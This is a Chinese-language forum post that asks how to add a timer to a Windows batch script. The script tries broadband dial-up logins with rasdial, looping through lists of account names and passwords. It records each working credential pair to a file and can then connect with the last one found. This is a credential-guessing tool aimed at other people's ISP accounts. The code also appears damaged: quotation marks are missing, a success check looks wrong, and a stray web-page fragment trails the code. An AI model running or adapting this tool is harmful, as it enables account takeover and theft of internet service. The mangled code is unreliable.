批處理寬帶連接怎樣加個時間功能

@title 寬帶賬號批量連接檢測批處理 By Www.Mscxw.com
@echo off & setlocal enabledelayedexpansion
set userfile=寬帶賬號.txt
set passfile=寬帶密碼.txt
set pppname=寬帶連接
set outfile=成功連接.txt
:choose
echo.&echo 本批處理實現以下功能：
echo.&echo 1 - 創建 !pppname!（配合模擬按鍵實現）
echo.&echo 2 - 測試固定的寬帶賬號及密碼
echo.&echo 3 - 寬帶賬號固定，密碼從文本寬帶賬號.txt里提取逐一測試
echo.&echo 4 - 寬帶密碼固定，賬號從文本寬帶密碼.txt里提取逐一測試
echo.&echo 5 - 寬帶賬號及密碼均從以上文本里提取逐一測試
echo.&echo 0 - 退出批處理
echo.&set /p choose=請輸入你選擇的序號并回車：
if %choose% equ 0 exit
if %choose% equ 1 goto :buildppp
if %choose% equ 2 goto :user1pass1
if %choose% equ 3 goto :user1passx
if %choose% equ 4 goto :pass1userx
if %choose% equ 5 goto :userxpassx
cls&echo.&echo 輸入的序號有誤，請重新選擇！&set choose=&goto :choose
:buildppp
::創建新寬帶連接
set vbs=buildppp.vbs
(echo Set WshShell = CreateObject^(Wscript.Shell^)
echo strCommandLine = rasphone -a !pppname!
echo WshShell.Run^(strCommandLine^)
echo Wscript.Sleep 1000
echo WshShell.SendKeys R
echo Wscript.Sleep 30
echo WshShell.SendKeys {ENTER}
echo Wscript.Sleep 30
echo WshShell.SendKeys {ENTER}
echo Set WshShell = Nothing
)>%vbs%
cscript //nologo %vbs%
del %vbs%
goto :exit
:user1pass1
echo.&set /p user=請輸入寬帶賬號：
echo.&set /p pass=請輸入寬帶密碼：
call :check1
goto :exit
:user1passx
set user=改成固定的寬帶賬號
call :check0
for /f tokens=* %%a in ('type %passfile%') do (
if !end! equ 1 (set end=&goto :exit)
set pass=%%a&call :check1
)
goto :exit
:pass1userx
set pass=改成固定的寬帶密碼
call :check0
for /f tokens=* %%a in ('type %userfile%') do (
if !end! equ 1 (set end=&goto :exit)
set user=%%a&call :check1
)
goto :exit
:userxpassx
call :check0
for /f tokens=* %%a in ('type %userfile%') do (
set user=%%a
call :check2
)
goto :exit
:exit
::如果要連接最后一組成功的賬號密碼的話請取消下一行的前面兩個冒號
::rasdial !pppname! !lastuser! !lastpass! >nul
echo.&echo 所有操作完畢，按任意鍵退出&pause>nul&exit
:check0
rasdial|find 已連接>nul
if !errorlevel! equ 0 for /f skip=1 tokens=* %%a in ('rasdial') do (rasdial %%a /d 
>nul&set pppname=%%a&goto :eof)
goto :eof
:check1
echo.&set /p str=正在連接賬號 !user!=!pass! <nul
rasdial !pppname! !user! !pass! >nul
rasdial|find 已連接>nul
if !errorlevel! equ 5 (
echo [連接成功]
echo>>%outfile% !user!=!pass!
set lastuser=!user!
set lastpass=!pass!
set end=1
) else (echo.)
rasdial !pppname! /d >nul
goto :eof
:check2
for /f tokens=* %%b in ('type %passfile%') do (
if !end! equ 1 (set end=&goto :eof) 
set pass=%%b
call :check1
)
goto :eof
nclick="copycode($('code0'));">復制代碼